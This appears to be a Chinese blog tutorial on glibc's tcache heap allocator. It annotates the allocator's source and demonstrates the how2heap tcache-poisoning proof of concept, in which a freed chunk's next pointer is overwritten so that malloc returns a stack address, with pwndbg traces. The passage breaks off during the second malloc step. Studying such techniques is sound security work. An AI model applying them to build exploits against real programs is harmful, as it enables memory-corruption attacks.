tcache 是 glibc 2.26(ubuntu 17.10) 之后引入的一种技术(see commit),目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查,也因此有了很多新的利用方式。

主要参考了 glibc 源码,angelboy 的 slide 以及 tukan.farm,链接都放在最后了。

New Structure

tcache 引入了两个新的结构体,tcache_entrytcache_perthread_struct

tcache_entry

source code

1
2
3
4
5
6
/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

tcache_perthread_struct

source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS]; 
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;

先给一个宏观印象:

  • tcache_prethread_struct 是整个 tcache 的管理结构,其中有 64 项 entries。每个 entries 管理了若干个大小相同的 chunk,用单向链表 (tcache_entry) 的方式连接释放的 chunk,这一点上和 fastbin 很像
  • 每个 thread 都会维护一个 tcache_prethread_struct
  • tcache_prethread_struct 中的 counts 记录 entries 中每一条链上 chunk 的数目,每条链上最多可以有 7 个 chunk
  • tcache_entry 用于链接 chunk 结构体,其中的 next 指针指向下一个大小相同的 chunk
    • 这里与 fastbin 不同的是 fastbin 的 fd 指向 chunk 开头的地址,而 tcache 的 next 指向 user data 的地方,即 chunk header 之后

用图表示大概是:

相关函数

同样先给一个宏观的印象:

  • 第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_prethread_struct
  • free 内存,且 size 小于 small bin size 时
    • tcache 之前会放到 fastbin 或者 unsorted bin 中
    • tcache 后:
      • 先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个)
      • tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
      • tcache 中的 chunk 不会合并(不取消 inuse bit)
  • malloc 内存,且 size 在 tcache 范围内
    • 先从 tcache 取 chunk,直到 tcache 为空
    • tcache 为空后,从 bin 中找
    • tcache 为空时,如果 fastbin/smallbin/unsorted bin 中有 size 符合的 chunk,会先把 fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来

source code

接下来从源码的角度分析一下 tcache。

__libc_malloc

第一次 malloc 时,会进入到 MAYBE_INIT_TCACHE ()

source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void *
__libc_malloc (size_t bytes)
{
    ......
    ......
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  // 根据 malloc 传入的参数计算 chunk 实际大小,并计算 tcache 对应的下标
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);

  // 初始化 tcache
  MAYBE_INIT_TCACHE ();
  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins  // 根据 size 得到的 idx 在合法的范围内
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL) // tcache->entries[tc_idx] 有 chunk
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
    ......
    ......
}

__tcache_init()

其中 MAYBE_INIT_TCACHE () 在 tcache 为空(即第一次 malloc)时调用了 tcache_init(),直接查看 tcache_init()

source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);
  if (tcache_shutting_down)
    return;
  arena_get (ar_ptr, bytes); // 找到可用的 arena
  victim = _int_malloc (ar_ptr, bytes); // 申请一个 sizeof(tcache_prethread_struct) 大小的 chunk
  if (!victim && ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }
  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);
  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim; // 更新 tcache
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }
}

tcache_init() 成功返回后,tcache_prethread_struct 就被成功建立了

申请内存

接下来将进入申请内存的步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
  // 从 tcache list 中获取内存
  if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL) // 该条 tcache 链不为空
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
  // 进入与无 tcache 时类似的流程
  if (SINGLE_THREAD_P)
    {
      victim = _int_malloc (&main_arena, bytes);
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
              &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

tcache->entries 不为空时,将进入 tcache_get() 的流程获取 chunk,否则与 tcache 机制前的流程类似,这里主要分析第一种 tcache_get()。这里也可以看出 tcache 的优先级很高,比 fastbin 还要高( fastbin 的申请在没进入 tcache 的流程中)。

tcache_get()

看一下 tcache_get()

source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]); // 获得一个 chunk,counts 减一
  return (void *) e;
}

tcache_get() 就是获得 chunk 的过程了。可以看出这个过程还是很简单的,从 tcache->entries[tc_idx] 中获得第一个 chunk,tcache->counts 减一,几乎没有任何保护。

__libc_free()

看完申请,再看看有 tcache 时的释放

source code

1
2
3
4
5
6
7
8
9
void
__libc_free (void *mem)
{
  ......
  ......
  MAYBE_INIT_TCACHE ();
  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}

__libc_free() 没有太多变化,MAYBE_INIT_TCACHE () 在 tcache 不为空失去了作用。

_int_free()

跟进 _int_free()

source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ......
  ......
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache
        && tc_idx < mp_.tcache_bins // 64
        && tcache->counts[tc_idx] < mp_.tcache_count) // 7
      {
        tcache_put (p, tc_idx);
        return;
      }
  }
#endif
  ......
  ......

判断 tc_idx 合法,tcache->counts[tc_idx] 在 7 个以内时,就进入 tcache_put(),传递的两个参数是要释放的 chunk 和该 chunk 对应的 size 在 tcache 中的下标。

tcache_put()

source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_puts() 完成了把释放的 chunk 插入到 tcache->entries[tc_idx] 链表头部的操作,也几乎没有任何保护。并且 没有把 p 位置零

tcache makes heap exploitation easy again

再复习一遍 tcache_get() 的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

可以发现 tcache_get() 获取 chunk 的安全检查非常少(对 tc_idx 的检测可以忽略),可以说几乎没有任何检查,因此各种利用方式在有 tcache 时利用步骤也大大简化了。

tcache poisoning

通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

以 how2heap 中的 tcache_poisoning 为例

看一下源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
glibc_2.26 [master] bat tcache_poisoning.c
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: tcache_poisoning.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    #include <stdio.h>
   2    #include <stdlib.h>
   3    #include <stdint.h>
   4    
   5    int main()
   6    {
   7            fprintf(stderr, "This file demonstrates a simple tcache poisoning attack
       │  by tricking malloc into\n"
   8                   "returning a pointer to an arbitrary location (in this case, the 
       │ stack).\n"
   9                   "The attack is very similar to fastbin corruption attack.\n\n");
  10    
  11            size_t stack_var;
  12            fprintf(stderr, "The address we want malloc() to return is %p.\n", (char
         *)&stack_var);
  13    
  14            fprintf(stderr, "Allocating 1 buffer.\n");
  15            intptr_t *a = malloc(128);
  16            fprintf(stderr, "malloc(128): %p\n", a);
  17            fprintf(stderr, "Freeing the buffer...\n");
  18            free(a);
  19    
  20            fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
  21            fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of t
       │ he data at %p\n"
  22                    "to point to the location to control (%p).\n", sizeof(intptr_t),
         a, &stack_var);
  23            a[0] = (intptr_t)&stack_var;
  24    
  25            fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
  26            fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
  27    
  28            intptr_t *b = malloc(128);
  29            fprintf(stderr, "2st malloc(128): %p\n", b);
  30            fprintf(stderr, "We got the control\n");
  31    
  32            return 0;
  33    }
───────┴─────────────────────────────────────────────────────────────────────────────────

运行结果是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
glibc_2.26 [master●] ./tcache_poisoning 
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.

The address we want malloc() to return is 0x7fff0d28a0c8.
Allocating 1 buffer.
malloc(128): 0x55f666ee1260
Freeing the buffer...
Now the tcache list has [ 0x55f666ee1260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55f666ee1260
to point to the location to control (0x7fff0d28a0c8).
1st malloc(128): 0x55f666ee1260
Now the tcache list has [ 0x7fff0d28a0c8 ].
2st malloc(128): 0x7fff0d28a0c8
We got the control

分析一下,程序先申请了一个大小是 128 的 chunk,然后 free。128 在 tcache 的范围内,因此 free 之后该 chunk 被放到了 tcache 中,调试如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
pwndbg> 
0x0000555555554815	18		free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
......
 RDI  0x555555756260 ◂— 0x0
......
 RIP  0x555555554815 (main+187) ◂— call   0x555555554600
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
......
  0x555555554815 <main+187>    call   free@plt <0x555555554600>
        ptr: 0x555555756260 ◂— 0x0
......
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
......
  18 	free(a);
......
────────────────────────────────────────[ STACK ]────────────────────────────────────────
......
pwndbg> ni
20		fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7
 RDX  0x0
 RDI  0x1
 RSI  0x555555756010 ◂— 0x100000000000000
 R8   0x0
 R9   0x7fffffffb78c ◂— 0x1c00000000
 R10  0x911
 R11  0x7ffff7aa0ba0 (free) ◂— push   rbx
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x55555555481a (main+192) ◂— mov    rax, qword ptr [rip + 0x20083f]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x555555554802 <main+168>    lea    rdi, [rip + 0x2bd]
   0x555555554809 <main+175>    call   fwrite@plt <0x555555554630>
 
   0x55555555480e <main+180>    mov    rax, qword ptr [rbp - 8]
   0x555555554812 <main+184>    mov    rdi, rax
   0x555555554815 <main+187>    call   free@plt <0x555555554600>
 
  0x55555555481a <main+192>    mov    rax, qword ptr [rip + 0x20083f] <0x555555755060>
   0x555555554821 <main+199>    mov    rdx, qword ptr [rbp - 8]
   0x555555554825 <main+203>    lea    rsi, [rip + 0x2b4]
   0x55555555482c <main+210>    mov    rdi, rax
   0x55555555482f <main+213>    mov    eax, 0
   0x555555554834 <main+218>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   15 	intptr_t *a = malloc(128);
   16 	fprintf(stderr, "malloc(128): %p\n", a);
   17 	fprintf(stderr, "Freeing the buffer...\n");
   18 	free(a);
   19 
  20 	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x0
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x555555756260
pwndbg> heapbase
heapbase : 0x555555756000
pwndbg> p *(struct tcache_perthread_struct*)0x555555756010
$3 = {
  counts = "\000\000\000\000\000\000\000\001", '\000' <repeats 55 times>,
  entries = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 56 times>}
}

可以看到,此时第 8 条 tcache 链上已经有了一个 chunk,从 tcache_prethread_struct 结构体中也能得到同样的结论

然后修改 tcache 的 next

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
pwndbg> 
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x555555756260
to point to the location to control (0x7fffffffdfa8).
23		a[0] = (intptr_t)&stack_var;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x85
 RBX  0x0
 RCX  0x0
 RDX  0x7ffff7dd48b0 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x0
 RSI  0x7fffffffb900 ◂— 0x777265766f206557 ('We overw')
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x8500000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x555555554867 (main+269) ◂— lea    rdx, [rbp - 0x18]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
  0x555555554867 <main+269>    lea    rdx, [rbp - 0x18] <0x7ffff7dd48b0>
   0x55555555486b <main+273>    mov    rax, qword ptr [rbp - 8]
   0x55555555486f <main+277>    mov    qword ptr [rax], rdx
   0x555555554872 <main+280>    mov    edi, 0x80
   0x555555554877 <main+285>    call   malloc@plt <0x555555554620>
 
   0x55555555487c <main+290>    mov    rdx, rax
   0x55555555487f <main+293>    mov    rax, qword ptr [rip + 0x2007da] <0x555555755060>
   0x555555554886 <main+300>    lea    rsi, [rip + 0x2eb]
   0x55555555488d <main+307>    mov    rdi, rax
   0x555555554890 <main+310>    mov    eax, 0
   0x555555554895 <main+315>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   18 	free(a);
   19 
   20 	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
  23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28 	intptr_t *b = malloc(128);
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x0
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x555555756260
pwndbg> n
25		fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RBX  0x0
 RCX  0x0
 RDX  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RDI  0x0
 RSI  0x7fffffffb900 ◂— 0x777265766f206557 ('We overw')
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x8500000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x555555554872 (main+280) ◂— mov    edi, 0x80
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x555555554867 <main+269>    lea    rdx, [rbp - 0x18]
   0x55555555486b <main+273>    mov    rax, qword ptr [rbp - 8]
   0x55555555486f <main+277>    mov    qword ptr [rax], rdx
  0x555555554872 <main+280>    mov    edi, 0x80
   0x555555554877 <main+285>    call   malloc@plt <0x555555554620>
 
   0x55555555487c <main+290>    mov    rdx, rax
   0x55555555487f <main+293>    mov    rax, qword ptr [rip + 0x2007da] <0x555555755060>
   0x555555554886 <main+300>    lea    rsi, [rip + 0x2eb]
   0x55555555488d <main+307>    mov    rdi, rax
   0x555555554890 <main+310>    mov    eax, 0
   0x555555554895 <main+315>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   20 	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23 	a[0] = (intptr_t)&stack_var;
   24 
  25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28 	intptr_t *b = malloc(128);
   29 	fprintf(stderr, "2st malloc(128): %p\n", b);
   30 	fprintf(stderr, "We got the control\n");
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│ rdx  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x555555756260 --> 0x7fffffffdfa8 --> 0x555555554650

此时,第 8 条 tcache 链的 next 已经被改成栈上的地址了。接下来类似 fastbin attack,只需进行两次 malloc(128) 即可控制栈上的空间。

第一次 malloc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
pwndbg> n
1st malloc(128): 0x555555756260
26		fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x20
 RBX  0x0
 RCX  0x0
 RDX  0x7ffff7dd48b0 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x0
 RSI  0x7fffffffb900 ◂— 0x6c6c616d20747331 ('1st mall')
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x2000000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x55555555489a (main+320) ◂— mov    rax, qword ptr [rip + 0x2007bf]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x55555555487f <main+293>    mov    rax, qword ptr [rip + 0x2007da] <0x555555755060>
   0x555555554886 <main+300>    lea    rsi, [rip + 0x2eb]
   0x55555555488d <main+307>    mov    rdi, rax
   0x555555554890 <main+310>    mov    eax, 0
   0x555555554895 <main+315>    call   fprintf@plt <0x555555554610>
 
  0x55555555489a <main+320>    mov    rax, qword ptr [rip + 0x2007bf] <0x555555755060>
   0x5555555548a1 <main+327>    lea    rdx, [rbp - 0x18]
   0x5555555548a5 <main+331>    lea    rsi, [rip + 0x234]
   0x5555555548ac <main+338>    mov    rdi, rax
   0x5555555548af <main+341>    mov    eax, 0
   0x5555555548b4 <main+346>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
  26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28 	intptr_t *b = malloc(128);
   29 	fprintf(stderr, "2st malloc(128): %p\n", b);
   30 	fprintf(stderr, "We got the control\n");
   31 
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650

第二次 malloc,即可 malloc 栈上的地址了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
